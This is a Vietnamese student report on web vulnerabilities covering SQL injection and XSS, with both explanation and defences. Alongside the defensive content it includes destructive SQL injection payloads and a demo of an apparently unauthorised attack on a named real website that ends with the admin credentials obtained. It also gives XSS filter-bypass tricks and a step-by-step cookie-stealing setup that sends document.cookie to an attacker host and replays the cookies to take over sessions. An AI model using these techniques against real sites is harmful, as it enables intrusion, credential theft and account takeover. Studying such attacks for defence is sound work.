tìm hiểu về lỗ hổng web và cách phòng chống

26 465 0
tìm hiểu về lỗ hổng web và cách phòng chống

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

TRƯỜNG HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA AN TOÀN THÔNG TIN - - Bài tập Môn Công Nghệ Mạng Tên đề tài: Tìm hiểu lỗ hổng web cách phòng chống Thực hiện: Vũ Trung Kiên Lê Thị Liên Nguyễn Phương Duy Lớp : AT9C Chuyên ngành: An toàn thông tin Trường: HV Kỹ Thuật Mật Mã Hà nội, 2013 Mục Lục Chương 1: Tổng quan website, dịch vu website lỗi bảo mật thông dụng 1, Mô tả website cách hoạt động 2, Các dịch vụ ứng dụng web Chương 2: Lỗ hổng Injection 1, Injection 2, SQL Injection 2.1, Khái niệm 2.2, Các lỗi Sql injection thường gặp 2.3, Cách phòng chống 2.4, Demo khai thác lỗ hổng sql injection Chương 3: Lỗ hổng XSS 1, XSS gì? 2, Hiện trạng mức độ nguy hiểm XSS Nguyên lý hoạt động XSS Phân loại XSS Phương pháp check site kiểm tra lỗi XSS Kĩ thuật công Phòng chống XSS Chương 1: Tổng quan website, dịch vu website lỗi bảo mật thông dụng 1, Mô tả website cách hoạt động Website “trang web” mạng internet, nơi giới thiệu thông tin, hình ảnh doanh nghiệp sản phẩm, dịch vụ doanh nghiệp (hay giới thiệu thông tin gì) để khác hàng truy cập đâu, lúc Website tập hợp nhiều trang [web page] Khi doanh nghiệp xây dựng website nghĩa xây dựng nhiều trang thông tin, catalog sản phẩm, dịch vụ Để tạo nên website cần có yếu tố bản: * Cần phải có tên miền (domain) * Nơi lưu trữ website (hosting) * Nội dung trang thông tin [web page] Một số thuật ngữ bản: Website động (Dynamic website) website có sở liệu, cung cấp công cụ quản lí website (Admin Tool) Đặc điểm website động tính linh hoạt co thể cập nhật thông tin thường xuyên, quản lí thành phần website dễ dàng Loại website thường viết ngôn ngữ lập trình PHP, Asp.net, JSP, …., quản trị Cơ sở liệu SQL MySQL Website tĩnh người lập trình băng ngôn ngữ HTML theo trang brochure, sở liệu công cụ quản lí thông tin website Thông thường website tĩnh thiết kế phần mềm FrontPage, Dreamwaver, Đặc điểm website tĩnh thay đổi nội dung, thay đổi nội dung thường liên quan đến thay đổi văn kèm thể nội dung Hiện hầu hết doanh nghiệp sử dụng website động, nên công nghệ website người biết đến web 2.0 - Tên miền (domain): Tên miền địa website, internet tồn địa (tức tồn tên miền) Có loại tên miền: + Tên miền Quốc tế: tên miền có dạng com; net; org; biz; name + Tên miền Việt Nam: tên miền có dạng vn; com.vn; net.vn; org.vn; gov.vn - Lưu trữ website: Dữ liệu thông tin website phải lưu trữ máy tính (máy chủ – server) hoạt động kết nối với mạng internet Một server lưu trữ nhiều tên website, server bị cố chẳng hạn tắt thời điểm không co thể truy cập website lưu trữ server thời điểm bị cố - Tùy theo nhu cầu lưu trữ thông tin mà doanh nghiệp thuê dung lượng host thích hợp cho website - Dung lượng host: nơi để lưu trữ sở liệu website (hình ảnh, thông tin, ), đơn vị đo dung lượng thường Mb Gb - Băng thông hay dung lượng đường truyền: Là tổng số Mb liệu tải lên máy chủ tải từ máy chủ (download, upload) nơi đặt website, đơn vị đo thông thường Mb/Tháng 2, Các dịch vụ ứng dụng web Với công nghệ nay, website không đơn giản trang tin cung cấp tin đơn giản Những ứng dụng viết web không gọi phần website nữa, chúng gọi phần mềm viết web Có nhiều phần mềm chạy web Google word (xử lí văn bản), Google spreadsheets (xử lí bảng tính), Email Một số ưu điểm phần mềm hay ứng dụng chạy web: + Mọi người có trình duyệt bạn cần trình duyệt chạy phần mềm + Phần mềm luôn cập nhật chúng chạy server + Luôn sẵn sàng 24/7 + Dễ dàng backup liệu thường xuyên + Có thể truy cập lúc, nơi, miễn bạn có mạng + Chi phí triển khai cực rẻ so với phần mềm chạy Desktop Hãy hình dung bạn có phần mềm công ty, với phần mềm viết web, bạn vào kiểm tra, điều hành đâu, chí bạn cần điện thoại chạy trình duyệt Iphone mà không cần đến máy tính Chương 2: Các loại lỗ hổng website phòng chống 1, Lỗ hổng Injection Lỗ hổng (nôm na bảo mật) cho phép tin tặc có ý định công thay đổi mã thông qua ứng dụng web tới hệ thông khác Những công bao gồm việc tác động đến hoạt động hệ thông thông qua thông báo hệ thông, sử dụng chương trình mở rộng thông qua dòng shell, để truy nhập liệu đâu cuồi cuối thông qua SQL( ví dụ lỗ hổng SQL) Toàn dòng scripts viết = perl,python ngôn ngữ khác áp dụng người thiết kế web trình độ không cao thực thi hệ thông Bất kì ứng dụng web sử dụng công cụ thông dịch dạng có nguy bị công lỗ hổng bảo mật Rất nhiều ứng dụng web sử dụng tính hệ thống ngôn ngữ mở rộng dể diễn tả thuật toán chúng Gửi mail d có lẽ dẫn chứng tốt cho việc sử dụng chương trình mở rộng, nhiều chương trình khác sử dụng Khi ứng dụng web truyền tảo thông tin từ yêu cầu HTTP thông qua phần từ yêu cầu mở rộng ( hiểm nôm na link chuyển tiếp),nó phải kiểm soát cách cẩn thận Mặt khác, tin tặc công thông qua siêu liệu, từ mã hộ, mã sửa đổi lại thông tin ứng dụng web ứng dụng web chạy ẩn thông qua ứng dụng mở rộng hệ thống Lỗ hổng SQL dạng đặc biệt lan rộng dạng nguy hiểm công Để khai thác dược lỗ hổng SQL, tin tắc phải tìm tham biến mà ứng dụng web truyền tải thông qua database Bằng việc cẩn thận gắn mã độc vào tham biến, tin tắc trick ứng dụng web thông qua việc chuyển tiến truy vấn mang mã độc tới hệ thống Các tất công không để giải có nhiều tool phát chúng Kết tin tắc chiếm dụng, phá hỏng nội dung database Tấn công vào lỗ hổng dễ khám phá khai thắc, chúng khó để tìm Kết chiếm vùng liệu, từ thứ không quan trọng ( liệu vớ vẩn) chiếm dụng hệ thống phá hủy Trong vài trường hợp, việc sử dụng tác động (cuộc gọ) lan tương đối rộng, nên việc thống kê yuwngs dụng web chứa lỗ hổng bảo mật cần quan tâm nhiều 2, SQL injection 2.1, khái niệm SQL injection (còn gọi SQL Injection) hình thức công truy vấn SQL ứng dụng bị chèn thêm tham số đầu vào “không an toàn” người dùng nhập vào, từ mã lệnh gửi tới máy chủ database để phân tích cú pháp thực thi Hình thái SQL Injection bao gồm việc chèn trực tiếp mã vào tham số mà ghép vào câu lệnh SQL (quá trình gọi sinh truy vấn SQL động) để tạo thành truy vấn ứng dụng gửi tới máy chủ database Một cách công khác trực tiếp hơn, chèn mã độc vào xâu mà đích đến việc lưu trữ bảng từ điển liệu (metadata) Khi chuỗi ghép vào câu lệnh SQL đoạn mã chạy Khi ứng dụng web thất bại việc lọc tham số đầu vào (được dùng làm nguyên liệu cho trình sinh SQL động ), dùng hình thức tham số hóa (parameterize) kẻ công dễ dàng điều chỉnh trình xây dựng truy vấn SQL Một kẻ công sửa câu truy vấn SQL, truy vấn SQL muốn thực thi với quyền hạn người sở hữu ứng dụng, thiệt hại gây tùy theo quyền hạn cấp SQL Injection dạng công dễ thực hiện, hầu hết thao tác người công cần thực với trình duyệt web, kèm theo mootj ứng dụng proxy server Chính đơn giản học cách tiến hành công Lỗi bắt nguồn từ mã nguồn ứng dụng web từ phía database, thành phần ứng dụng mà người dùng tương tác để điều khiển nội dun (ví dụ: form, tham số URL, cookie, tham số referrer, user-agenbt, ) sử dụng để chèn truy vấn có hại 2.2, Các lỗi sql injection thường gặp Không kiểm tra ký tự thoát truy vấn Đây dạng lỗi SQL injection xảy thiếu đoạn mã kiểm tra liệu đầu vào câu truy vấn SQL Kết người dùng cuối thực số truy vấn không mong muốn sở liệu ứng dụng Dòng mã sau minh họa lỗi này: statement = "SELECT * FROM users WHERE name = '" + userName + "';" Câu lệnh thiết kế để trả ghi tên người dùng cụ thể từ bảng người dùng Tuy nhiên, biến "userName" nhập xác theo cách người dùng ác ý, trở thành câu truy vấn SQL với mục đích khác hẳn so với mong muốn tác giả đoạn mã Ví dụ, ta nhập vào giá trị biến userName sau: a' or 't'='t Khiến câu truy vấn hiểu sau: SELECT * FROM users WHERE name = 'a' OR 't'='t'; Nếu đoạn mã sử dụng thủ tục xác thực ví dụ sử dụng để bắt buộc lựa chọn tên người dùng hợp lệ 't'='t' Trong hầu hết SQL server cho phép thực nhiều truy vấn lúc với lần gọi, nhiên số SQL API mysql_query php lại không cho phép điều lý bảo mật Điều ngăn cản tin tặc công cách sử dụng câu lệnh riêng rẽ mà không ngăn cản tin tặc thay đổi từ cú pháp truy vấn Các giá trị biến "userName" câu truy vấn gây việc xoá người dùng từ bảng người dùng tương tự việc xóa tất liệu từ bảng liệu (về chất tiết lộ thông tin người dùng), ví dụ minh họa API cho phép thực nhiều truy vấn lúc: a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't Điều đưa tới cú pháp cuối câu truy vấn sau: SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM DATA WHERE 't' = 't'; Xử lý không kiểu Lỗi SQL injection dạng thường xảy lập trình viên hay người dùng định nghĩa đầu vào liệu không rõ ràng thiếu bước kiểm tra lọc kiểu liệu đầu vào Điều xảy trường số sử dụng truy vấn SQL lập trình viên lại thiếu bước kiểm tra liệu đầu vào để xác minh kiểu liệu mà người dùng nhập vào có phải số hay không Ví dụ sau: statement := "SELECT * FROM data WHERE id = " + a_variable + ";" Ta nhận thấy cách rõ ràng ý định tác giả đoạn mã nhập vào số tương ứng với trường id - trường số Tuy nhiên, người dùng cuối, thay nhập vào số, họ nhập vào chuỗi ký tự, trở thành câu truy vấn SQL hoàn chỉnh mà bỏ qua ký tự thoát Ví dụ, ta thiết lập giá trị biến a_variable là: 1;DROP TABLE users đó, thực thao tác xóa người dùng có id tương ứng khỏi sở liệu, câu truy vấn hoàn chỉnh hiểu là: SELECT * FROM DATA WHERE id=1;DROP TABLE users; Lỗi bảo mật bên máy chủ sở liệu Đôi lỗ hổng tồn phần mềm máy chủ sở liệu, trường hợp hàm mysql_real_escape_string() máy chủ MySQL Điều cho phép kẻ công thực công SQL injection thành công dựa ký tự Unicode không thông thường đầu nhập vào thoát Chữ đậm Blind SQL injection Lỗi SQL injection dạng dạng lỗi tồn ứng dụng web hậu chúng lại không hiển thị trực quan cho kẻ công Nó gây sai khác hiển thị nội dung trang chứa lỗi bảo mật này, hậu công SQL injection dạng khiến cho lập trình viên hay người dùng phải nhiều thời gian để phục hồi xác bit liệu Những kẻ công sử dụng số công cụ để dò tìm lỗi dạng công với thông tin thiết lập sẵn Thay đổi giá trị điều kiện truy vấn Dạng lỗi khiến cho kẻ công thay đổi giá trị điều kiện câu truy vấn, làm sai lệch hiển thị ứng dụng chứa lỗi SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=1; Sẽ hiển thị trang cách bình thường, khi: SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=2; hiển thị nội dung khác, không hiển thị ứng dụng web có chứa lỗi SQL injection dạng Lỗ hổng dạng cho phép tin tặc không gây ảnh hưởng tới bảng hay liệu mà ảnh hưởng tới liệu hay bảng khác phụ thuộc vào nội dung liệu hay bảng Điều kiện lỗi Lỗi SQL injection dạng dẫn tới việc buộc sở liệu phép đánh giá mà giá trị câu lệnh WHERE Ví dụ: SELECT 1/0 FROM users WHERE username='Ralph'; Phép chia cho đánh giá lỗi mà người dùng có tên "Ralph" tồn sở liệu Thời gian trễ Lỗi SQL injection dạng tồn thời gian xử lý hay nhiều truy vấn SQL phụ thuộc vào liệu logic nhập vào trình xử lý truy vấn SQL engine cần nhiều thời gian Tin tặc sử dụng lỗi SQL injection dạng để xác định thời gian xác mà trang cần tải giá trị nhập vào 2.3, Cách phòng chống Sqli Injection 2.3.1, Phòng chống từ mức xây dựng mã nguồn ứng dụng Điểm yếu SQL Injection bắt nguồn từ việc xử lí liệu từ người dùng không tốt, vấn đề xây dựng mã nguồn đảm bảo an ninh cốt lõi việc phòng chống SQL Injection 2.3.1.1 Làm liệu đầu vào a, Mô hình danh sách cho phép – Whitelist Mô hình whitelist liệt kê danh sách giá trị input cho phép, xây dựng đòi hỏi người phát triển phải hiểu rõ logic nghiệp vụ ứng dụng xây dựng Một số đặc điểm input mà mô hình ý tới kiểu liệu, độ dài, miền liệu số định dạng chuẩn khác Các điều kiện phụ thuộc nhiều vào logic nghiệp vụ thỏa thuận với người sử dụng phụ Phương pháp dơn giản hiệu để xây dựng mẫu (pattern) hợp lệ sử dụng biểu thức quy (regular expression) B, Mô hình danh sách cấm – Backlist Mô hình xây dựng nên mẫu input cho nguy hiểm không chấp nhận mẫu Mô hình backlist hiệu mô hình whitelist vài lý sau: - Số lượng khả xảy input xấu lớn, xét đủ - Khó cập nhật mẫu Ưu điểm mô hình so với whitelist việc xây dựng đơn giản Thông thường mô hình không nên sử dụng mình, để đảm bảo an ninh nên sử dụng whitelist Nếu sử dung backlist thiết cần mã hóa output để giảm thiểu nguy rò rỉ thông tin mẫu mà mô hình bỏ sót Một điều cần ý việc sử dụng mô hình blacklist whitelist, mẫu nên xử lí phía client (trực tiếp tai trình duyệt) Tuy sử lí trình duyệt điều nghĩa đảm bảo an toàn cho input đó, cần thực phép làm mức 2.3.1.2 Chuẩn hóa liệu Để thuận lợi cho trình kiểm tra liệu đầu vào đầu ra, cần xây dựng mô hình mô hình chuẩn hóa liệu dạng đơn giản Một mô hình chuẩn hóa liệu dạng đơn giản Một mô hình có thẻ xem xét như, ban đầu giải mã dạng URL, sau giải mã dạng HTML, thực vài lần Tuy nhiên tin cậy thực giải mã theo định dạng phổ biến lần phát dấu hiệu nghi vấn, từ chối liệu 2.3.2 Các biện pháp bảo vệ từ mức tảng hệ thống Các biện pháp phòng chống từ mức tảng hệ thống (platform-level) biện pháp cải tiến thời gian hoạt động (runtime) thay đổi cấu hình cho nâng cao mức đô an ninh tổng thể ứng dụng Một điều cần ghi nhớ, giải pháp mức tảng hệ thống không 10 Các biện pháp bảo vệ database nhằm đề phòng trường hợp xấu, ke công khai thác nhiều điểm yếu, từ điều khiển hoạt động database nhằm ăn cắp liệu làm bàn đạp thâm nhập vào hệ thống bên trong, đằng sau database A, giới hạn phạm vi ảnh hưởng úng dụng Các biện pháp chuẩn bị, đè phòng cho tình xấu ke tân công thâm nhập vào database: - cấp quyền ưu tiên tối thiểu cho tài khoản đăng nhập vào database - Hủy bỏ quyền PUBLIC: database thường cung cấp số chế độ mặc định cho tất đăng nhập, chế độ có tập mặc định quyền, bao gồm việc truy cập tới số đối tượng thuộc hệ thống Các chế độ công khai cung cấp quyền truy cập tới stored procedure có sẵn, số gói, hàm sử dụng cho mục đích quản trị Vì cần hủy quyền dạng tới mức tối đa - Sử dụng thuật toán mã hóa mạnh để mã hóa lưu trữ liệu nhạy cảm B, giới hạn phạm vi ảnh hưởng database Các biện pháp mức chuẩn bị, đề phòng cho tình kẻ công chiếm quyền điều khiển database: - Khóa quyền truy cập tới đối tượng có đặc quyền, ví dụ tiện ích quản tri, tiện ích thực thi gián tiếp lệnh phía hệ điều hành, tiện ích sinh kết nối tới đối tượng, database khác - Hạn chế truy vấn đặc biệt: câu lệnh OPENROWSET SQL server la vi dụ Việc sử dụng câu lệnh giúp kẻ công cướp quyền truy vấn, thực kết nối tới database khác chế độ xác thực lỏn lẻo 2.4 Demo khai thác lỗi sql injection - Sử dụng trang http://caycanhphutho.com.vn làm đối tượng khai thác - Công cụ sử dụng : Trình duyệt FireFox add on Hackbar FireFox 12 B1: Truy cập vào website hình 1.1: website http://caycanhphutho.vn ban đầu B2: Kiểm tra xem trang có lỗi SQL Injection không Hình 1.2: Kiểm tra trang bị lỗi SQL injection không B3: Thực câu lệnh khai thác lỗi SQL injection 13 Hình 1.3: Thực lệnh order by … Hình 1.4: Thực lệnh UNION SELECT … (tìm cột bị lỗi 6) 14 Hình 1.5: Kiểm tra version (tìm version 5.5.27) Hình 1.6: Kiểm tra user (tìm user haisandaiduo_db@localhost) 15 Hình 1.7: Kiểm tra database (tìm database haisandaiduo_db) Hình 1.8: Truy vấn đến table CSDL 16 Hình 1.9: Truy vấn đến cột table CSDL để tìm thông tin B4: Kết đạt Hình 1.10: Kết lấy user password admin 17 Chương 3: Lỗ hổng XSS XSS ? Cross-Site Scripting (gọi tắt XSS thay CSS để tránh nhầm lẫn với CSS – Casscading Style Sheet HTML )– lỗ hổng Web Application phổ biến hiên nay, băng cách chèn vào website động (ASP, PHP, CGI,…) thẻ HTML, VBscript, ActiveX Flash nguy hiểm có khả đánh cắp thông tin quan trọng cookies, mật khẩu, password…của người truy cập vào website bị dính lỗi XSS Hiện trạng mức độ nguy hiểm XSS Kĩ thuật công XSS nhanh chóng trở thành lỗi phổ biến Web Applications mối đe dọa chúng ngày lớn Theo báo cáo mức độ ảnh hưởng kĩ thuật công khác thấy XSS chiếm tỉ lệ cao so với phương pháp công khác, mối nguy hiểm lớn website Nếu SQL injection công vào sở liệu website XSS lại công trực tiếp vào người dùng Nó giúp hacker lấy cắp Cookies hay mật trực tiếp người dùng, lừa đảo quản trị website, chiếm session…từ đăng nhập chiếm quyền điều khiển website Nó chế để tạo thành nhiều mã độc Trong có mã độc hack tài khoản facebook, gmail,… Ngoài ra, lỗi XSS giúp hacker chèn link vào website bị lỗi Link link quảng cáo hay spam thông thường link độc, link có chứa virut Vì chạy trình duyệt client hoạt động bề mặt website nên không làm thay đổi mã nguồn, sở liệu website sever Nguyên lý hoạt động XSS Khi website bị chèn thẻ HTMl, Script, … hacker nghĩa gửi 18 request từ máy client đến sever nhằm chèn vào thông tin vượt tầm kiểm soát sever Khi người sử dụng click vào link toàn cookies, mật lưu trình duyệt gửi cho hacker thông qua email file host thiết lập từ trước dẫn tới tràn fishing mà hacker thiết lập từ trước hay bị cài đặt chương trình diệt virus, Trojan, backdoor máy victim tùy vào mệnh lệnh hacker Phân loại XSS XSS tồn hai hình thức Stored XSS Reflected XSS ­ Stored XSS hình thức công mà cho phép kẻ thấn công chèn đoạn script nguy hiểm vào website thông qua chức ( ví dụ: viết lời bình, guestbook, gửi bài…)và lưu lại database ,để từ thành viên khác truy cập vào website dính mã độc từ kẻ công nên gọi Stored Stored XSS phát sinh không đọc liệu thành viên gửi lên cách đắn, khiến cho mã độc lưu trữ vào database website ­ Reflected XSS: hình thức này, kẻ công thường gắn thêm đoạn mã độc vào URL website gửi dến nạn nhân, nạn nhân truy cập vào URL bị dính mã đôc Điều xảy ta không ý filter inout từ URL website Phương pháp check site kiểm tra lỗi XSS Một site có tất phần sau: search results, error messages, web-form,… chủ yếu lỗi XSS nằm đây, nói chung XSS xảy chỗ mà người dùng nhập liệu vào nhận Các bước tìm lỗi XSS cho website: Bước 1: Mở website cần tìm Bước 2: Bắt đầu kiểm tra, định vị ô tìm kiếm ô login form gửi 19 thông tin (nhập thông tin ấn submit login ok ), nhập chữ vào ô Bước 3: Xác định site có khả bị dính lỗi XSS hay không cách xem thông tin trả Có nhiều cách để kiểm tra, sau xin trình bày số cách phổ biến sau: Cách 1: ­ Bạn nhập đoạn text “site bị dính lỗi XSS” Nếu thông tin trả kết sau : - Không tìm thấy kết cho “site bị dính lỗi XSS” - “site bị dính lỗi XSS” kết không tồn tại« - Your search for “site bị dính lỗi XSS” is not valid Hay kết có liên quan đến “site bị dính lỗi XSS” Kết cho thấy kết mà ta nhập vào không bị kiểm soát Lợi dụng lỗi mà hacker chèn thêm đoạn mã gây hại vào - Cách 2: Bạn nhập đoạn mã Script sau: alert(“XSS”) Và kết lên khung thông báo có chữ “ XSS” site chắn 20 site bị dính lỗi XSS Nếu sử dụng thẻ HTML để kiểm tra, ta làm sau: + Trong mục comment site, ta gõ error XSS + Nếu dòng comment ta lên dòng chữ in đậm “error XSS” 100% site dính lỗi XSS ­ Cách 3: Đôi số site dính lỗi XSS công đoạn mã javascript đơn giản, họ có lọc không cho phép tiêm XSS Lúc ta phải dùng đến kĩ thuật bypass (mã hóa kí tự dạng char) Một số phương pháp vượt lọc phổ biến: + Bypass magic_quotes_gpc + Bypass with crytion in full html + bypass with Obfuscation + Bypass with trying around method Cách làm: • Bypass magic_quotes_gpc + Khi php.ini ấn mặc định magic_quotes_gpc=on, có nghĩa sever không cho phép ta dùng “và” Vì ta chèn alert(“hello world!”) không thực vi phạm luật + Ta mã hóa sang ASCII: hello world!  (104,101,108,108,111,32,119,111,114,108,100,33) alert(String.fromCharCode(104,101,108,108,111,32,119,111,114,108, 100,33)) Câu hoàn toàn hợp lệ không phạm luật • Bypass with cryption in full html + Chúng ta dùng tool urlencode hackbar tool khác để mã hóa + Ví dụ: alert(‘hello world!’) Nếu đường dẫn gửi đến người dùng không thành công người dùng không tin tưởng vào đường link để kích vào Hơn nữa, copy lại 21 trình duyệt truy cập cảnh báo XSS Vì vậy, kí tự hacker mã hóa để tránh người dùng nghi ngờ ➨ %3Cscript%3Ealert%28%27hello%20world%21%27%29%3C %2fscript%3E Với cách này, kẻ công gửi đường link tới người dùng, chờ người dùng kích vào kẻ công thực thao tác để đánh cắp cookie, chiếm phiên kết nối người dùng tới máy chủ • Bypass with Obfuscation + Trường hợp lọc kiểm tra chuỗi alert, scipt,… Để vượt nó, ta cần làm sai lệch tý, ví dụ: ALERt, ScRipt,… • Bypass with trying around method (sử dụng method) + Vấn đề hay nhắc đến khung tìm kiếm dùng thẻ input, lúc ta cần thêm “> (“> nghĩa đóng thẻ input value nằm cuối cùng) Sau chèn thêm alert(“ hello world” ) Ví dụ “>alert(“hello world”) Trên số phương pháp check site lỗi XSS Sau tìm mục tiêu rùi, công việc công Kĩ thuật công Để ăn cắp cookie, ta thực theo bước sau: ➘ Bước 1: tạo file ăn cắp cookie, sử dụng ngôn ngữ php, asp…Tôi dùng php để tạo file Stealer.php logs.txt ­ File Stealer.php có nội dung sau: ­ Giải thích code trên: $cookie = $HTTP_GET_VARS["cookie"];// Đánh cắp cookie từ địa url( stealer.php?cookie=x) lưu trữ cookie biến $cookie $steal = fopen("cookiefile.txt", "a"); // Mở cookiefile để đính kèm cookie đánh cắp fwrite($steal, $cookie "\\n"); // Lưu lại cookie đánh cắp bên file fclose($steal); // Đóng lại cookie file Ngoài ra, ta sử dụng đoạn mã sau để thêm nhiều nhiệm vụ cho file stealer.php // đoạn mã có tác dụng gửi cookies email attacker ­ Ta tạo thêm file logs.txt rỗng để lưu trữ toàn thông tin victim gửi thông qua mệnh lện đưa từ file Stealer.php ➘ Bước : Ta chuẩn bị hosting, sau up file Stealer.php logs.txt lên host ➘ Bước 3: Khai thác lỗ hổng XSS ­ Giả sử up file lên host site http://www.attacker.net , đoạn script ăn cắp cookies có dạng sau: location.href=’http://www.attacker.net/Stealer.php? cookie=’+document.cookie; ­ Chèn đoạn mã vào site dính lỗi XSS http://www.sitebiloi.com ta link tương tự như: http://www.sitebiloi.com/index.php?page= Với đoạn code trình duyệt thi hành đoạn code sau gửi toàn cookie tới cho bạn dạng file txt bạn viêc mở file xem ­ Hoặc chèn đoạn mã vào khung textbox, search hay comment đó, victim view site cookies gửi cho attacker location.href=’http://www.attacker.net/Stealer.php? cookie=’+document.cookie; 24 ­ Sau đánh cắp thông tin cookies victim, sử dụng tiện ích add-ons cookies manager live để login Phòng chống XSS a) Phòng chống từ người thiết kế phát triển Web: Để phòng chống XSS cách có hiệu trước tiên đòi hỏi người thiết kế phát triển ứng dụng web phải biết áp dụng biện pháp nâng cao tính bảo mật, độ an toàn cho web, đảm bảo thông tin cho người sử dụng tránh nguy từ việc đánh cắp tài khoản Lỗ hổng XSS dựa vào điểm yếu thiễu sót trình thiết kế phát triển website, không quan tâm mức vấn đề xây dựng website an toàn gây tổn thất, người dùng, làm niềm tin họ Đặc biệt lĩnh vực thương mại điện tử hay tài ngân hàng việc đảm bảo an toàn cho người dùng quan trọng OWASP đưa số giải pháp để xây dựng website bảo mật cao sau: ­ Chỉ chấp nhận liệu hợp lệ theo yêu câu công việc lập trình web ­ Liên tục kiểm tra lọc liệu ­ Xác định tính hợp lệ tất headers, cookies, query string, form fields, hidden fields theo đặc tả chi tiết rõ rang ­ Tạo danh sách thẻ HTML phép sử dụng, xóa bỏ thẻ đóng thẻ scrip thẻ coi đoạn script đoạn trích dẫn ­ Lọc bất kí đoạn mã JavaScript, VBScript, Flash Related ­ Lọc dấu nháy đơn hay kép ­ Xóa kí tự “>”, “[...]... error messages, web- form,… chủ yếu lỗi XSS nằm ở đây, nói chung là XSS có thể xảy ra ở những chỗ nào mà người dùng có thể nhập dữ liệu vào và sẽ nhận được một cái gì đó Các bước tìm lỗi XSS cho một website: Bước 1: Mở website cần tìm ra Bước 2: Bắt đầu kiểm tra, định vị 1 ô tìm kiếm hoặc một ô login form và gửi 19 thông tin đi (nhập thông tin và ấn submit hoặc login hoặc ok ), và nhập chữ vào những ô này... bị dính lỗi XSS hay không bằng cách xem thông tin trả về Có nhiều cách để kiểm tra, sau đây tôi xin trình bày một số cách phổ biến như sau: Cách 1: ­ Bạn nhập một đoạn text “site đã bị dính lỗi XSS” Nếu thông tin trả về là 1 trong các kết quả sau : - Không tìm thấy kết quả cho “site đã bị dính lỗi XSS” - “site đã bị dính lỗi XSS” kết quả này không tồn tại« - Your search for “site đã bị dính lỗi XSS”... được gửi về cho attacker location.href=’http://www.attacker.net/Stealer.php? cookie=’+document.cookie; 24 ­ Sau khi đã đánh cắp được thông tin cookies của victim, có thể sử dụng tiện ích add-ons cookies manager hoặc live để login 6 Phòng chống XSS a) Phòng chống từ người thiết kế và phát triển Web: Để phòng chống XSS một cách có hiệu quả thì trước tiên đòi hỏi người thiết kế và phát... vấn đến cột trong table CSDL để tìm thông tin B4: Kết quả đạt được Hình 1.10: Kết quả là lấy được user và password của admin 17 Chương 3: Lỗ hổng XSS 1 XSS là gì ? Cross-Site Scripting (gọi tắt là XSS thay vì CSS để tránh nhầm lẫn với CSS – Casscading Style Sheet của HTML )– là một trong những lỗ hổng của Web Application phổ biến nhất hiên nay, băng cách chèn vào các website động (ASP, PHP, CGI,…) những... database, một bộ lọc an ninh có thể được sử dụng tạm thời như 1 bản vá ảo(virtual patch) từ khi phát hiện lỗ hổng đến khi đội phát triển ứng dụng khắc phục được lỗ hổng đó Các bộ lọc có thể được xây dựng nhanh chóng hơn và có thể phòng tránh được những lỗ hổng trong giai đoạn Zero-day của cuộc tấn công Và có thể khẳng định rằng, an ninh mức nền tảng là 1 thành phần quan trọng trong chiến lược an ninh tổng... người đã truy cập vào website bị dính lỗi XSS 2 Hiện trạng và mức độ nguy hiểm của XSS Kĩ thuật tấn công XSS đã nhanh chóng trở thành một trong những lỗi phổ biến nhất của Web Applications và mối đe dọa của chúng ngày càng lớn Theo các báo cáo về mức độ ảnh hưởng của các kĩ thuật tấn công khác nhau có thể thấy được XSS chiếm một tỉ lệ rất cao so với các phương pháp tấn công khác, và nó là một mối nguy... do thành viên gửi lên một cách đúng đắn, khiến cho mã độc lưu trữ vào database của website ­ Reflected XSS: trong hình thức này, kẻ tấn công thường gắn thêm đoạn mã độc vào URL của website chúng ta và gửi dến nạn nhân, nếu nạn nhân truy cập vào URL đó thì sẽ bị dính mã đôc Điều này xảy ra do ta không chú ý filter inout từ URL của website mình 5 Phương pháp check site kiểm tra lỗi XSS Một site bất kì... hỏi người thiết kế và phát triển các ứng dụng web phải biết áp dụng các biện pháp nâng cao tính bảo mật, độ an toàn cho web, đảm bảo thông tin cho người sử dụng tránh được nguy cơ từ việc đánh cắp tài khoản Lỗ hổng XSS dựa vào những điểm yếu và thiễu sót trong quá trình thiết kế và phát triển website, vì vậy nếu không quan tâm đúng mức vấn đề xây dựng website an toàn thì sẽ gây ra tổn thất, nhất là... kế riêng để phòng chống lỗi XSS như bộ thư viện HTML Purifier b) Đối với người dùng Mục tiêu chính của tấn công XSS là nhằm vào người dùng để đánh cắp thông tin cá nhân như username, password truy cập vào Web, có thể là tài khoản ngân hàng, thẻ tín dụng Vì thế ta cần chú ý những điều sau: • Khi truy cập các trang web cần xem xét an toàn trước khi kích vào các link Trong email, không kích vào các link... không Hình 1.2: Kiểm tra trang bị lỗi SQL injection không B3: Thực hiện câu lệnh khai thác lỗi SQL injection 13 Hình 1.3: Thực hiện lệnh order by … Hình 1.4: Thực hiện lệnh UNION SELECT … (tìm ra cột bị lỗi là 3 và 6) 14 Hình 1.5: Kiểm tra version (tìm được version 5.5.27) Hình 1.6: Kiểm tra user (tìm được user haisandaiduo_db@localhost) 15 Hình 1.7: Kiểm tra database (tìm được database haisandaiduo_db)

Ngày đăng: 29/03/2016, 11:37

Từ khóa liên quan

Mục lục

  • Không kiểm tra ký tự thoát truy vấn

  • Xử lý không đúng kiểu

  • Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu

  • Blind SQL injection

    • Thay đổi giá trị điều kiện truy vấn

    • Điều kiện lỗi

    • Thời gian trễ

Tài liệu cùng người dùng

Tài liệu liên quan